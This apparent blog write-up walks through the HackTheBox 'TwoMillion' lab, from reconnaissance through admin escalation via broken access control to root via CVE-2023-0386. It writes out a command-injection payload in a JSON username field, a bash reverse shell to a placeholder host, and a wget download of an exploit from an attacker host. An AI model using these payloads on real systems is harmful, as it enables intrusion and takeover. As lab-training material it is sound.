Overview
TwoMillion is a nostalgic HackTheBox machine themed around the old HTB platform. The attack chain involves reverse-engineering obfuscated JavaScript to discover invite code logic, abusing a broken access control vulnerability in the API to escalate privileges to admin, and exploiting an unsanitized username parameter to gain Remote Code Execution. Privilege escalation to root leverages CVE-2023-0386, an OverlayFS/FUSE kernel vulnerability.
Difficulty: Easy | OS: Linux | Tags: Web, API Abuse, Command Injection, Kernel Exploit
1. Reconnaissance
nmap -sC -sV -A <MACHINE-IP>
Results:
- Port 22 — SSH (OpenSSH 8.9)
- Port 80 — HTTP (nginx)
The HTTP server redirects to http://2million.htb/. Add it to /etc/hosts:
echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts
2. Enumeration
The site requires an invite code to register. Directory fuzzing with feroxbuster reveals:
feroxbuster -u http://2million.htb
Key findings:
-
/invite— invite code entry page -
/js/inviteapi.min.js— client-side invite logic -
/api/v1/user/loginand/api/v1/user/register— API endpoints
3. Getting the Invite Code
3.1 Deobfuscating the JavaScript
curl -X GET http://2million.htb/js/inviteapi.min.js
The script uses a common eval-based packing technique. After deobfuscation, two functions are revealed:
-
makeInviteCode()— POSTs to/api/v1/invite/how/to/generate -
verifyInviteCode(code)— POSTs to/api/v1/invite/verify
3.2 Generating the Code
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
Response:
{
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
}
}
Decode the ROT13:
echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# In order to generate the invite code, make a POST request to /api/v1/invite/generate
Generate the code:
curl -X POST http://2million.htb/api/v1/invite/generate | jq
Decode the Base64 result:
echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d
# UKLXC-6NSN0-T915N-UV8YA
Use this code to register an account at /invite.
4. API Enumeration & Privilege Escalation (Web)
After logging in, enumerate the full API route list:
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq
Admin endpoints discovered:
-
GET /api/v1/admin/auth— Check if current user is admin -
PUT /api/v1/admin/settings/update— Update user settings -
POST /api/v1/admin/vpn/generate— Generate VPN for any user
4.1 Escalating to Admin
curl -X PUT http://2million.htb/api/v1/admin/settings/update \
--cookie "PHPSESSID=<your-session>" \
--header "Content-Type: application/json" \
-d '{"email": "john@email.com", "is_admin": 1}'
Response confirms admin escalation:
{"id": 13, "username": "john", "is_admin": 1}
This is a classic Broken Access Control vulnerability — the API trusts user-supplied input to set privilege levels with no server-side authorization check.
5. Remote Code Execution via Command Injection
The admin VPN generation endpoint passes the username parameter to a system command without sanitization:
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
--cookie "PHPSESSID=<your-session>" \
--header "Content-Type: application/json" \
--data '{"username": "john;whoami;"}'
# www-data
We have RCE. Set up a listener and send a reverse shell:
# Listener
pwncat-cs -lp 4444
# Payload
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
--cookie "PHPSESSID=<your-session>" \
--header "Content-Type: application/json" \
--data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}"
Shell received as www-data.
6. Lateral Movement: www-data → admin
Enumerating the web root reveals a .env file with hardcoded database credentials:
cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Testing password reuse over SSH:
ssh admin@2million.htb
# Password: SuperDuperPass123
User flag obtained at ~/user.txt
7. Privilege Escalation: CVE-2023-0386
7.1 Finding the Lead
Logging in via SSH shows an interesting banner:
You have mail.
The mail at /var/mail/admin contains a message warning about a serious kernel vulnerability in OverlayFS / FUSE.
7.2 Confirming Kernel Version
uname -a
# Linux 2million 5.15.70-051570-generic #202209231339 ...
Kernel 5.15.70 falls within the vulnerable range for CVE-2023-0386 — an OverlayFS privilege escalation that allows creating SUID binaries through overlay filesystem manipulation.
7.3 Exploitation
Compile the PoC on the attacker machine:
apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
Serve it to the target:
python3 -m http.server 8000
On the victim:
wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc
root@2million:/tmp# whoami
root
Root flag obtained at /root/root.txt
8. Attack Chain Summary
| Step | Action |
|---|---|
| Reconnaissance | Nmap revealed HTTP on port 80 |
| Enumeration | feroxbuster found invite API and JS file |
| Invite Code | Deobfuscated JS → ROT13 → Base64 → valid code |
| API Abuse | Discovered admin endpoints while authenticated |
| Broken Access Control | Set is_admin: 1 via PUT request |
| Command Injection | Unsanitized username → reverse shell as www-data |
| Lateral Movement | .env credentials reused for SSH as admin |
| Privilege Escalation | CVE-2023-0386 OverlayFS exploit → root |
9. Key Vulnerabilities
1. Client-Side Invite Logic — Invite generation logic exposed in obfuscated JavaScript.
2. Broken Access Control — Users can escalate privileges by supplying is_admin: 1 in API requests.
3. Command Injection — Unsanitized username parameter passed directly to a system command.
4. Hardcoded Credentials — .env file exposes database credentials in the web root.
5. Password Reuse — Same credentials used for both the database and SSH.
6. CVE-2023-0386 — Unpatched kernel vulnerable to OverlayFS privilege escalation.
Thanks for reading! If you found this helpful, consider following for more HTB writeups.

Top comments (0)